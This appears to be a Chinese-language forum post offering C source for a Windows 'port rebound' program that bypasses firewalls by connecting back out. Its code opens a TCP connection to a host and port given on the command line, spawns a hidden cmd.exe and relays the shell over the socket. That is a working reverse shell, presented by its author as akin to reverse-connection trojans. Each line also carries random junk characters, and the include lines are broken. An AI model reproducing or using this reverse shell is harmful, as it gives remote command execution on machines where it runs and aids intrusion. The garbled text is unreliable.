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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <lR:^M[v5<  
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/* ============================== _f";zd  
Rebound port in Windows NT riOaqV  
By wind,2006/7 MvZa;B  
===============================*/ )%S@l<%@?  
#include 'u x!:b"  
#include q/zU'7%@  
*]HnFP  
#pragma comment(lib,"wsock32.lib") TW>GYGz  
w!H(zjv&(  
void OutputShell(); >i*,6Psl[Z  
SOCKET sClient; UL}wGWaoG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; deaB_cjdI  
6d/Q"As  
void main(int argc,char **argv) VQqBo~  
{ G\ F>*  
WSADATA stWsaData; b4dviYI  
int nRet; 2#:p:R8I>  
SOCKADDR_IN stSaiClient,stSaiServer; M5w/TN  
=K0%bI  
if(argc != 3) Dq~;h \='  
{ v[|W\y@H/3  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3 e'6A^#  
return; hsY?og_H  
} o$</At  
jr0j0$BF  
WSAStartup(MAKEWORD(2,2),&stWsaData); d2Q*1Q@u  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oDu6W9+  
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stSaiClient.sin_family = AF_INET; 6Jq[]l"v  
stSaiClient.sin_port = htons(0); ,k~' S~w.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %gO/mj3*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 8>[g/%W  
{ YX-~?Pl  
printf("Bind Socket Failed!\n"); PlH~um[J  
return; 9\hI:rI  
} wjl)yo$z  
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stSaiServer.sin_family = AF_INET; K [DpH&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2%fIe   
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0c`zg7|  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) y& yf&p  
{ jG7PT66>;  
printf("Connect Error!"); i:aW .QZ.  
return; v5'`iO0o  
} #PD6LO  
OutputShell(); <9ucpV  
} y8s!sO  
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void OutputShell() M]r?m@)  
{ =w+8q1!o  
char szBuff[1024]; :K^J bQ  
SECURITY_ATTRIBUTES stSecurityAttributes; wxvi)|)  
OSVERSIONINFO stOsversionInfo; VSY  p  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I)'bf/6?  
STARTUPINFO stStartupInfo; ujxr/8mjV  
char *szShell; #{|cSaX<  
PROCESS_INFORMATION stProcessInformation; IyHbl_ P ^  
unsigned long lBytesRead; m4@NW*G{  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BJUj#s0$  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K{ar)_V/  
stSecurityAttributes.lpSecurityDescriptor = 0; .c-a$39  
stSecurityAttributes.bInheritHandle = TRUE; "QdK Md  
To>,8E+GAb  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \PE;R.v_:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HCN/|z1Xq  
2.z-&lFBZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qMJJBl  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  viAAb  
stStartupInfo.wShowWindow = SW_HIDE; yV8J-YdsG  
stStartupInfo.hStdInput = hReadPipe; L_!ShE  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oVy{~D=  
FoK2h!_  
GetVersionEx(&stOsversionInfo); _F%`7j  
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switch(stOsversionInfo.dwPlatformId) #3qeRl  
{ 7v%c.  
case 1: \_1a#|97e  
szShell = "command.com"; @ye!? %  
break; %BGg?&  
default: v,ssv{gU  
szShell = "cmd.exe"; d{4;qM#  
break; GHGyeqNM  
} [oTe8^@[  
!G;u )7'v  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {o24A: M  
{zAI-?#*u  
send(sClient,szMsg,77,0); qazA,|L!  
while(1) +\Vm t[v  
{ )cJ>&g4]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vt#;j;liG  
if(lBytesRead) ;yJ:W8U]+;  
{ o]oiJvOr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &+2l#3}  
send(sClient,szBuff,lBytesRead,0); 06pvI}   
} _Ub `\ytx  
else >lRZvf-i  
{ G7CeWfS  
lBytesRead=recv(sClient,szBuff,1024,0); X@`a_XAfd  
if(lBytesRead<=0) break; (P)G|2=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /g<Oh{o8  
} xN-,gT'!  
} GF ux?8A:%  
|HK:\)L%  
return; YqX$a~  
}
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